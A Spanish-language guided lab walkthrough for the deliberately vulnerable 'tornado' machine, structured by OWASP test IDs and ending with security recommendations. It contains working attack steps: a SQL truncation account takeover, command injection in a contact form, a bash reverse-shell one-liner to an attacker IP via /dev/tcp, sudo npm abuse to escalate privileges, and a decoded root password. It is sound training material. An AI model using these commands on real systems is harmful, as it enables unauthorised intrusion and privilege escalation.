Laboratorio Guiado - 09-tornado

Objetivo: Comprometer una aplicación web vulnerable mediante técnicas de enumeración, explotación de una vulnerabilidad de **SQL Truncation Attack** en formularios y ejecución remota de comandos, escalando privilegios mediante el abuso de permisos sudo, todo siguiendo metodologías del **OWASP Testing Guide v4** (Enlace a la máquina).

---

1. OTG-INFO-001 – Fingerprinting: Descubrimiento de IP y servicios

Identificación de la IP de la víctima en la red local:
Utilizamos `arp-scan` para explorar la red local y filtrar la dirección IP del host con nombre "PCS". Esto nos permite conocer la IP específica a atacar dentro de la red.

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.6
```

Se confirma que el host identificado tiene la IP **192.168.1.6**.

Enumeración de todos los puertos con Nmap:
Realizamos un escaneo SYN rápido a todos los puertos TCP del objetivo para identificar servicios activos. La opción `--min-rate 5000` acelera el escaneo, mientras que `-Pn` evita el ping para hosts que no responden.

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.6

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:9C:BF:E3 (Oracle VirtualBox virtual NIC)
```

El resultado muestra que están abiertos los puertos:

- **22/tcp** (SSH)
- **80/tcp** (HTTP)

Escaneo detallado de servicios conocidos:
Con un escaneo de versiones y scripts (`-sCV`), identificamos versiones específicas de los servicios, lo que nos ayuda a detectar posibles vulnerabilidades conocidas.

```
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.6
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
```

```
| ssh-hostkey:
|   2048 0f:57:0d:60:31:4a:fd:2b:db:3e:9e:2f:63:2e:35:df (RSA)
|   256 00:9a:c8:d3:ba:1b:47:b2:48:a8:88:24:9f:fe:33:cc (ECDSA)
|_  256 6d:af:db:21:25:ee:b0:a6:7d:05:f3:06:f0:65:ff:dc (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

El servidor ejecuta:

- **OpenSSH 7.9p1** en puerto 22
- **Apache httpd 2.4.38 (Debian)** en puerto 80

Estas versiones pueden tener vulnerabilidades documentadas que podríamos explorar.

---

2. OTG-INFO-003 – Enumeración de contenido web

Enumeración de rutas accesibles en el servidor web:
Con `gobuster` buscamos directorios y archivos potencialmente interesantes usando una lista de palabras común y extensiones relevantes.

```
› gobuster dir -u 'http://192.168.1.6' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r

...
/index.html           (Status: 200) [Size: 10701]
/manual               (Status: 200) [Size: 626]
/javascript           (Status: 403) [Size: 276]
/bluesky              (Status: 200) [Size: 14979]
/server-status        (Status: 403) [Size: 276]
...
```

Se detectan rutas accesibles como:

- `/index.html`
- `/manual`
- `/bluesky`

Con acceso denegado a `/javascript` y `/server-status`.

Exploración más profunda de `/bluesky`:
Repetimos el proceso dentro del subdirectorio `/bluesky` para mapear la aplicación y sus funcionalidades, encontrando archivos de autenticación y administración.

```
❯ gobuster dir -u 'http://192.168.1.6/bluesky' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
...
/index.html           (Status: 200) [Size: 14979]
/contact.php          (Status: 200) [Size: 824]
/about.php            (Status: 200) [Size: 824]
/login.php            (Status: 200) [Size: 824]
/signup.php           (Status: 200) [Size: 825]
/css                  (Status: 200) [Size: 1382]
/imgs                 (Status: 200) [Size: 4334]
/js                   (Status: 200) [Size: 1188]
/logout.php           (Status: 200) [Size: 824]
/dashboard.php        (Status: 200) [Size: 824]
/port.php             (Status: 200) [Size: 824]
...
```

Se listan endpoints claves:

- `/login.php`
- `/signup.php`
- `/dashboard.php`
- `/contact.php`
- `/logout.php`

Esto confirma la presencia de funcionalidades de login, registro y contacto.

---

3. OTG-AUTHN-001 – Pruebas de autenticación

Creación y validación de cuenta:
Creamos un usuario de prueba en `/signup.php` con credenciales simples y verificamos el acceso correcto con `/login.php`.

```
email: test@test.com

password: asdf
```

Descubrimiento de ruta interna en comentario HTML:
Al inspeccionar el código fuente del sitio, encontramos un comentario que revela una ruta local a un archivo con potencial información sensible.

```
<!-- /home/tornado/imp.txt -->
```

Descarga y análisis del archivo:
Accedemos a dicho archivo y revisamos su contenido para identificar posibles usuarios objetivo.

```
❯ wget 'http://192.168.1.6/~tornado/imp.txt'

❯ cat imp.txt

ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
```

El archivo contiene una lista de usuarios válidos, lo que facilita futuras pruebas de autenticación.

---

4. OTG-INPTVAL-001 – SQL Truncation Attack

Análisis de restricción en formulario:
El campo `uname` limita la entrada a 13 caracteres, lo que podría causar truncamiento de datos en el backend.

```
<input type="text" name="uname" placeholder="email" maxlength="13">
```

Bypass de restricción y explotación:
Ingresamos a /signup.php, modificamos el atributo **`maxlength`** a **15** desde el navegador y enviamos un email extendido que sobrescribe un usuario existente (`jacob@tornado`), logrando acceso con la contraseña asignada.

```
email: jacob@tornadoas

password: asdf
```

Esto confirma una vulnerabilidad lógica por truncamiento que permite tomar control de cuentas.

---

5. OTG-INPTVAL-013 – Inyección de Comandos

Prueba de ejecución remota:
Dentro de `/contact.php`, introducimos comandos para evaluar si son ejecutados por el backend. La ejecución de `sleep 5` retrasa la respuesta, confirmando la vulnerabilidad.

```
sleep 5
```

Obtención de reverse shell:
Ejecutamos una shell inversa para conectar con la máquina atacante y obtener control remoto.

```
bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"
```

Escucha en la máquina atacante:
Con `ncat` esperamos la conexión entrante y conseguimos acceso como usuario `www-data`.

```
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.6:60806.
bash: cannot set terminal process group (510): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tornado:/var/www/html/bluesky$
```

Obtenemos una shell de **www-data.**

---

6. OTG-IDENT-001 – Enumeración de usuarios

Listado de usuarios con shell:
Inspeccionamos `/etc/passwd` para identificar usuarios con acceso shell válido, facilitando el proceso de escalamiento.

```
www-data@tornado:/var/www/html/bluesky$ cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
catchme:x:1000:1000:catchme,,,:/home/catchme:/bin/bash
tornado:x:1001:1001:,,,:/home/tornado:/bin/bash
```

Usuarios encontrados:

- `root`

- catchme
- tornado

---

7. OTG-PRIV-003 – Escalamiento de privilegios

Verificación de privilegios sudo:
Revisamos los permisos del usuario actual (www-data) para identificar comandos que pueda ejecutar con privilegios elevados sin contraseña.

```
www-data@tornado:/var/www/html/bluesky$ sudo -l

Matching Defaults entries for www-data on tornado:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User www-data may run the following commands on tornado:
    (catchme) NOPASSWD: /usr/bin/npm
```

Explotación del permiso para ejecutar npm:
Creamos un proyecto temporal con un script que lanza un shell interactivo. Luego, ejecutamos el script con sudo como catchme para escalar privilegios.

```
www-data@tornado:/tmp$ mkdir pwned

www-data@tornado:/tmp/pwned$ echo '{ "name": "pwned", "version":
"1.0.0", "scripts": { "shell": "/bin/bash" } }' > package.json

www-data@tornado:/tmp/pwned$ sudo -u catchme npm run shell
```

Conseguimos un shell como catchme:

```
catchme@tornado:/tmp/pwned$
```

---

8. OTG-CRYPST-001 – Análisis de cifrado

Análisis del script cifrado:
En el directorio home del usuario, encontramos un script con un mensaje cifrado usando el cifrado César.

```
catchme@tornado:~$ cat enc.py
...
encrypted="hcjqnnsotrrwnqc"
...
```

Desencriptado con herramienta externa:
Usando https://www.dcode.fr/caesar-cipher, descubrimos que el texto decodificado corresponde a una contraseña cercana a `idkrootpassword`.

`Resultado con desplazamiento -1: idkrootpussxord`

Acceso como root:
Corrigiendo manualmente la contraseña, logramos acceso a la cuenta root.

```
catchme@tornado:~$ su root
Password: idkrootpassword

root@tornado:/home/catchme#
```

---

9. Recomendaciones de Seguridad

OTG-INFO-002 – Servicios Expuestos

- Utilizar firewalls para restringir accesos a puertos como el 22 y 80 desde IPs externas.
- Implementar detección de intrusos con herramientas como Wazuh o Snort.

OTG-AUTHN-004 – Contraseñas débiles y truncamiento

- Validar tanto el lado cliente como el lado servidor la longitud de los inputs.
- Prevenir ataques de truncamiento asegurando comparación de emails con longitud fija en base de datos.

OTG-INPTVAL-013 – Inyección de Comandos

- Utilizar funciones seguras para el manejo de entradas (`escapeshellarg`, `exec()` controlado).
- Validar y sanear todos los datos provenientes de usuarios antes de procesarlos en el servidor.

OTG-PRIV-003 – Abuso de sudo y escalamiento

- Evitar que servicios de bajo privilegio (www-data) ejecuten comandos como `npm` con sudo.
- Implementar controles de acceso y mínima exposición de binarios con privilegios innecesarios.

OTG-CRYPST-001 – Cifrado débil

- No incluir contraseñas cifradas o pistas en código fuente accesible.
- Reemplazar algoritmos simples (como Caesar) por mecanismos robustos y con hashing.

Revisión General del Sistema

- Limitar el acceso por SSH con `AllowUsers` y firewall.
- Realizar auditorías continuas de logs.
- Automatizar backups cifrados y verificar integridad con herramientas como AIDE o Tripwire.